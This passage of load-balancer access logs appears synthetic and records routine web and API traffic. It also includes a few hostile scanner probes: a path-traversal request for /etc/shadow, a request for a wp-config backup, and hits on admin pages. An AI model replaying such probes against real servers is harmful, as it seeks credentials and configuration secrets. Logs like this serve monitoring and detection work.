(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d281-a0be16b9acaa45fbb72dce6e" "staging-alb.example.com" "-" 9 2024-11-01T01:54:57.932104Z "forward" "-" "-" "151.238.241.20:443" "302" "-" "-" +https 2024-11-01T01:54:59.520097Z prod-api-alb 177.36.112.86:61998 10.0.30.221:443 0.053710 0.031594 0.093449 200 200 541 7150 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d283-05a394cfb63a45289e2f77fc" "prod-api-alb.example.com" "-" 8 2024-11-01T01:54:59.520097Z "forward" "-" "-" "10.0.30.221:443" "200" "-" "-" +https 2024-11-01T01:55:00.166997Z prod-api-alb 15.74.22.77:55692 10.0.198.154:443 0.069011 0.473215 0.069772 302 302 386 4692 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d284-fb741ba8669040db95920646" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:00.166997Z "forward" "-" "-" "10.0.198.154:443" "302" "-" "-" +https 2024-11-01T01:55:00.511936Z prod-api-alb 45.155.205.138:62063 10.0.86.162:443 0.077974 0.244534 0.018315 403 403 638 13850 "GET /wp-admin HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d284-cca8463be2314943914c1c3e" "-" "-" 9 2024-11-01T01:55:00.511936Z "forward" "-" "-" "10.0.86.162:443" "403" "-" "-" +https 2024-11-01T01:55:01.412158Z staging-alb 171.11.126.83:51415 189.201.235.200:8080 0.002540 0.099765 0.014390 200 200 525 13334 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d285-28f3b9b3f9984bbab7e11280" "staging-alb.example.com" "-" 3 2024-11-01T01:55:01.412158Z "forward" "-" "-" "189.201.235.200:8080" "200" "-" "-" +https 2024-11-01T01:55:03.318219Z prod-web-alb 152.68.136.67:37669 10.0.137.4:443 0.069277 0.158828 0.017954 302 302 363 8923 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d287-06cf769b5da04a5382e2ba93" "prod-web-alb.example.com" "-" 6 2024-11-01T01:55:03.318219Z "forward" "-" "-" "10.0.137.4:443" "302" "-" "-" +http 2024-11-01T01:55:05.108701Z staging-alb 181.214.110.175:25584 87.9.205.247:80 0.105064 0.370525 0.050740 200 200 536 1136 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d289-e87ca4ff1acb42649354790b" "staging-alb.example.com" "-" 10 2024-11-01T01:55:05.108701Z "forward" "-" "-" "87.9.205.247:80" "200" "-" "-" +https 2024-11-01T01:55:06.908098Z prod-web-alb 246.26.95.138:63606 10.0.228.218:443 0.024049 0.051574 0.070235 200 200 749 7277 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d28a-e7702993162f4a07b67f6adb" "prod-web-alb.example.com" "-" 1 2024-11-01T01:55:06.908098Z "forward" "-" "-" "10.0.228.218:443" "200" "-" "-" +https 2024-11-01T01:55:07.580789Z prod-web-alb 202.82.53.181:50114 10.0.135.155:443 0.016004 0.150326 0.082982 404 404 1000 12608 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d28b-30cff4db55ad41158dce73e6" "prod-web-alb.example.com" "-" 10 2024-11-01T01:55:07.580789Z "forward" "-" "-" "10.0.135.155:443" "404" "-" "-" +https 2024-11-01T01:55:09.080418Z prod-web-alb 225.16.34.37:56286 10.0.23.193:443 0.065602 0.439088 0.078359 200 200 881 5787 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d28d-7ff9a9029de94b41aa76b064" "prod-web-alb.example.com" "-" 1 2024-11-01T01:55:09.080418Z "forward" "-" "-" "10.0.23.193:443" "200" "-" "-" +https 2024-11-01T01:55:10.438155Z prod-web-alb 168.180.85.216:11016 10.0.151.132:443 0.038279 0.044295 0.081887 404 404 200 3206 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d28e-741695c051ed43dcace3c09a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:55:10.438155Z "forward" "-" "-" "10.0.151.132:443" "404" "-" "-" +https 2024-11-01T01:55:11.201382Z prod-api-alb 185.181.187.26:21252 10.0.223.233:443 0.061356 0.491516 0.093748 302 302 939 1826 "GET /adminer.php HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d28f-651190ed510b4bf8ac0aba47" "-" "-" 6 2024-11-01T01:55:11.201382Z "forward" "-" "-" "10.0.223.233:443" "302" "-" "-" +https 2024-11-01T01:55:12.492927Z prod-api-alb 100.156.22.129:29077 10.0.29.76:443 0.071914 0.307134 0.010508 200 200 182 8891 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d290-1dcfa232d5ae4b06b7f81119" "prod-api-alb.example.com" "-" 1 2024-11-01T01:55:12.492927Z "forward" "-" "-" "10.0.29.76:443" "200" "-" "-" +https 2024-11-01T01:55:12.719603Z staging-alb 172.129.45.219:51634 248.185.172.183:8080 0.078836 0.698652 0.019255 200 200 537 11435 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d290-c9f0e2acf14b483f816bdd88" "staging-alb.example.com" "-" 10 2024-11-01T01:55:12.719603Z "forward" "-" "-" "248.185.172.183:8080" "200" "-" "-" +https 2024-11-01T01:55:13.743151Z prod-web-alb 176.48.43.67:52166 10.0.131.43:443 0.081369 0.354049 0.010299 200 200 423 13606 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d291-602f8a77d5f8482f9829287e" "prod-web-alb.example.com" "-" 9 2024-11-01T01:55:13.743151Z "forward" "-" "-" "10.0.131.43:443" "200" "-" "-" +https 2024-11-01T01:55:15.105402Z prod-web-alb 203.152.148.77:25917 10.0.101.175:443 0.087816 0.138717 0.058327 301 301 984 14493 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d293-ce897985abbd43f3b79717d3" "prod-web-alb.example.com" "-" 4 2024-11-01T01:55:15.105402Z "forward" "-" "-" "10.0.101.175:443" "301" "-" "-" +https 2024-11-01T01:55:17.013368Z prod-web-alb 155.17.228.71:13653 10.0.248.241:443 0.039336 0.167214 0.015842 200 200 36 2736 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d295-e02495c894594990b8382bd3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:55:17.013368Z "forward" "-" "-" "10.0.248.241:443" "200" "-" "-" +http 2024-11-01T01:55:18.623975Z staging-alb 184.107.30.59:17206 130.59.47.10:443 0.089557 0.543388 0.147832 200 200 101 5363 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d296-ac33c528ffb24d148575872d" "staging-alb.example.com" "-" 6 2024-11-01T01:55:18.623975Z "forward" "-" "-" "130.59.47.10:443" "200" "-" "-" +https 2024-11-01T01:55:19.124080Z prod-api-alb 100.75.32.179:31187 10.0.184.11:443 0.071416 0.471832 0.081257 404 404 264 5212 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d297-b2f773847fc64409a5a10e6e" "prod-api-alb.example.com" "-" 5 2024-11-01T01:55:19.124080Z "forward" "-" "-" "10.0.184.11:443" "404" "-" "-" +https 2024-11-01T01:55:19.795980Z prod-web-alb 14.174.41.160:28048 10.0.66.185:443 0.025358 0.059555 0.084901 200 200 305 7850 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d297-cb12d8baf7574f07884b1ebf" "prod-web-alb.example.com" "-" 8 2024-11-01T01:55:19.795980Z "forward" "-" "-" "10.0.66.185:443" "200" "-" "-" +https 2024-11-01T01:55:20.506835Z prod-web-alb 97.38.145.72:40797 10.0.245.149:443 0.050350 0.161891 0.072257 200 200 447 6821 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d298-bb48747dbc98424c86b79b27" "prod-web-alb.example.com" "-" 2 2024-11-01T01:55:20.506835Z "forward" "-" "-" "10.0.245.149:443" "200" "-" "-" +https 2024-11-01T01:55:21.160706Z prod-web-alb 139.237.240.220:28066 10.0.166.238:443 0.051092 0.493726 0.088630 200 200 923 11012 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d299-003390618be5466c9e59afd8" "prod-web-alb.example.com" "-" 8 2024-11-01T01:55:21.160706Z "forward" "-" "-" "10.0.166.238:443" "200" "-" "-" +https 2024-11-01T01:55:22.999724Z prod-api-alb 212.215.107.7:27215 10.0.123.74:443 0.022162 0.298229 0.072030 200 200 715 13857 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d29a-0ff8e193217f4d5783fd1c6d" "prod-api-alb.example.com" "-" 0 2024-11-01T01:55:22.999724Z "forward" "-" "-" "10.0.123.74:443" "200" "-" "-" +https 2024-11-01T01:55:24.964208Z prod-web-alb 115.230.189.222:34571 10.0.92.33:443 0.029523 0.264577 0.031076 301 301 362 6574 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d29c-c54e783fc07c4b6d915abc96" "prod-web-alb.example.com" "-" 7 2024-11-01T01:55:24.964208Z "forward" "-" "-" "10.0.92.33:443" "301" "-" "-" +https 2024-11-01T01:55:25.587907Z staging-alb 46.251.232.64:44364 199.56.161.143:8080 0.006830 0.730597 0.026017 302 302 749 13285 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d29d-71aa48b2f99247ef87c15e4b" "staging-alb.example.com" "-" 0 2024-11-01T01:55:25.587907Z "forward" "-" "-" "199.56.161.143:8080" "302" "-" "-" +https 2024-11-01T01:55:26.383146Z staging-alb 32.208.51.74:40148 0.141.114.59:443 0.122010 0.367741 0.121330 200 200 284 6063 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d29e-23d1d4c6bc4d421bbc1be346" "staging-alb.example.com" "-" 7 2024-11-01T01:55:26.383146Z "forward" "-" "-" "0.141.114.59:443" "200" "-" "-" +http 2024-11-01T01:55:27.980039Z staging-alb 242.6.210.116:42998 176.114.213.251:443 0.032713 0.403842 0.090291 200 200 148 4643 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d29f-3036bd466a2f4d1386d7dc4a" "staging-alb.example.com" "-" 4 2024-11-01T01:55:27.980039Z "forward" "-" "-" "176.114.213.251:443" "200" "-" "-" +https 2024-11-01T01:55:28.923318Z staging-alb 218.88.106.251:42021 55.96.183.34:443 0.047125 0.097466 0.149420 200 200 807 11953 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2a0-419837b2d44d47dfba772429" "staging-alb.example.com" "-" 6 2024-11-01T01:55:28.923318Z "forward" "-" "-" "55.96.183.34:443" "200" "-" "-" +https 2024-11-01T01:55:29.546532Z staging-alb 232.252.127.87:47733 90.59.233.57:8080 0.027672 0.373291 0.026629 301 301 529 13137 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2a1-197224a5fdec483eaea67b49" "staging-alb.example.com" "-" 7 2024-11-01T01:55:29.546532Z "forward" "-" "-" "90.59.233.57:8080" "301" "-" "-" +https 2024-11-01T01:55:30.832930Z prod-api-alb 110.153.26.160:56147 10.0.166.132:443 0.070537 0.244762 0.010863 200 200 592 12791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2a2-6e209ee2f045442eb7ddafc6" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:30.832930Z "forward" "-" "-" "10.0.166.132:443" "200" "-" "-" +https 2024-11-01T01:55:31.327997Z prod-web-alb 176.184.74.101:63430 10.0.226.230:443 0.020686 0.131316 0.030536 200 200 345 5827 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2a3-7c506b8720b344d0923b4e87" "prod-web-alb.example.com" "-" 7 2024-11-01T01:55:31.327997Z "forward" "-" "-" "10.0.226.230:443" "200" "-" "-" +https 2024-11-01T01:55:32.039540Z prod-api-alb 148.14.236.238:22202 10.0.47.105:443 0.001868 0.397744 0.077784 302 302 370 4187 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2a4-001711dc06404b5c9097fe3f" "prod-api-alb.example.com" "-" 8 2024-11-01T01:55:32.039540Z "forward" "-" "-" "10.0.47.105:443" "302" "-" "-" +https 2024-11-01T01:55:33.626180Z prod-web-alb 191.220.44.253:23276 10.0.1.195:443 0.075529 0.457675 0.059558 301 301 970 9091 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2a5-0835d62136894b9f85963c47" "prod-web-alb.example.com" "-" 6 2024-11-01T01:55:33.626180Z "forward" "-" "-" "10.0.1.195:443" "301" "-" "-" +https 2024-11-01T01:55:33.849908Z staging-alb 200.79.122.173:34575 102.149.216.216:80 0.073081 0.489321 0.092382 302 302 980 889 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2a5-d3d94389d2e1409885352f79" "staging-alb.example.com" "-" 3 2024-11-01T01:55:33.849908Z "forward" "-" "-" "102.149.216.216:80" "302" "-" "-" +https 2024-11-01T01:55:34.344317Z prod-api-alb 136.75.107.54:28869 10.0.1.37:443 0.062413 0.392338 0.019496 200 200 929 11206 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2a6-7f74a19e2af94b20bb1db0e6" "prod-api-alb.example.com" "-" 0 2024-11-01T01:55:34.344317Z "forward" "-" "-" "10.0.1.37:443" "200" "-" "-" +https 2024-11-01T01:55:35.974499Z prod-api-alb 79.87.161.125:62781 10.0.178.43:443 0.015327 0.321935 0.044316 200 200 220 1972 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2a7-fc3856c135a946a285547bc5" "prod-api-alb.example.com" "-" 8 2024-11-01T01:55:35.974499Z "forward" "-" "-" "10.0.178.43:443" "200" "-" "-" +https 2024-11-01T01:55:37.852002Z prod-api-alb 0.44.18.47:24348 10.0.224.126:443 0.007713 0.114518 0.071153 301 301 670 3756 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2a9-343f699a2a044a61b7fe2095" "prod-api-alb.example.com" "-" 4 2024-11-01T01:55:37.852002Z "forward" "-" "-" "10.0.224.126:443" "301" "-" "-" +https 2024-11-01T01:55:39.528140Z prod-web-alb 193.27.228.235:28740 10.0.11.182:443 0.064975 0.126872 0.019649 403 403 249 7698 "GET /images/../../../../etc/shadow HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ab-f18c46d46b064bbbbe4d97ed" "-" "-" 7 2024-11-01T01:55:39.528140Z "forward" "-" "-" "10.0.11.182:443" "403" "-" "-" +https 2024-11-01T01:55:40.790581Z prod-web-alb 169.126.138.211:61739 10.0.203.85:443 0.071039 0.012978 0.021543 200 200 873 10840 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ac-12862cee6cc3417e8e587e24" "prod-web-alb.example.com" "-" 3 2024-11-01T01:55:40.790581Z "forward" "-" "-" "10.0.203.85:443" "200" "-" "-" +https 2024-11-01T01:55:41.313242Z prod-web-alb 72.115.24.251:43255 10.0.171.218:443 0.052828 0.401697 0.017239 404 404 542 9258 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ad-be95c6dbab12487c95a31239" "prod-web-alb.example.com" "-" 3 2024-11-01T01:55:41.313242Z "forward" "-" "-" "10.0.171.218:443" "404" "-" "-" +http 2024-11-01T01:55:41.854391Z staging-alb 126.40.133.250:11339 193.122.239.223:443 0.102097 0.431529 0.097995 200 200 420 13415 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2ad-1164554c5a564303884c9a42" "staging-alb.example.com" "-" 2 2024-11-01T01:55:41.854391Z "forward" "-" "-" "193.122.239.223:443" "200" "-" "-" +https 2024-11-01T01:55:42.716565Z prod-web-alb 220.15.232.70:61884 10.0.57.213:443 0.002749 0.107499 0.062889 302 302 652 9493 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ae-130ba0bcb7f549a593403ced" "prod-web-alb.example.com" "-" 0 2024-11-01T01:55:42.716565Z "forward" "-" "-" "10.0.57.213:443" "302" "-" "-" +https 2024-11-01T01:55:44.386542Z prod-api-alb 141.142.154.161:49456 10.0.73.167:443 0.034745 0.374249 0.056565 404 404 78 6417 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2b0-51e95daf01b747e49172d5f7" "prod-api-alb.example.com" "-" 8 2024-11-01T01:55:44.386542Z "forward" "-" "-" "10.0.73.167:443" "404" "-" "-" +https 2024-11-01T01:55:44.500532Z prod-api-alb 144.154.242.105:21894 10.0.102.240:443 0.071533 0.067538 0.047088 404 404 21 4353 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2b0-3d6044db50434eeab9f00706" "prod-api-alb.example.com" "-" 7 2024-11-01T01:55:44.500532Z "forward" "-" "-" "10.0.102.240:443" "404" "-" "-" +https 2024-11-01T01:55:45.108266Z prod-web-alb 193.27.228.197:46538 10.0.58.197:443 0.071792 0.061892 0.004180 301 301 709 12665 "GET /wp-config.php.bak HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2b1-25e78d5ad2434de0809593d2" "-" "-" 10 2024-11-01T01:55:45.108266Z "forward" "-" "-" "10.0.58.197:443" "301" "-" "-" +http 2024-11-01T01:55:46.112365Z staging-alb 72.208.90.204:46279 74.250.206.133:80 0.146408 0.644746 0.016084 404 404 483 1149 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2b2-0fafd49f8a804e4d957f5dfa" "staging-alb.example.com" "-" 9 2024-11-01T01:55:46.112365Z "forward" "-" "-" "74.250.206.133:80" "404" "-" "-" +https 2024-11-01T01:55:47.726200Z prod-api-alb 89.4.17.242:41261 10.0.140.65:443 0.065878 0.251830 0.038716 404 404 586 14407 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2b3-408d6298a42f44188e894c20" "prod-api-alb.example.com" "-" 0 2024-11-01T01:55:47.726200Z "forward" "-" "-" "10.0.140.65:443" "404" "-" "-" +https 2024-11-01T01:55:48.373994Z prod-web-alb 18.214.128.132:55675 10.0.130.179:443 0.021318 0.427323 0.080507 200 200 689 8701 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2b4-70a98cda9780456a8c000d26" "prod-web-alb.example.com" "-" 10 2024-11-01T01:55:48.373994Z "forward" "-" "-" "10.0.130.179:443" "200" "-" "-" +https 2024-11-01T01:55:49.589040Z staging-alb 172.118.89.35:21328 249.166.155.138:80 0.004981 0.049921 0.079562 301 301 842 1018 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f 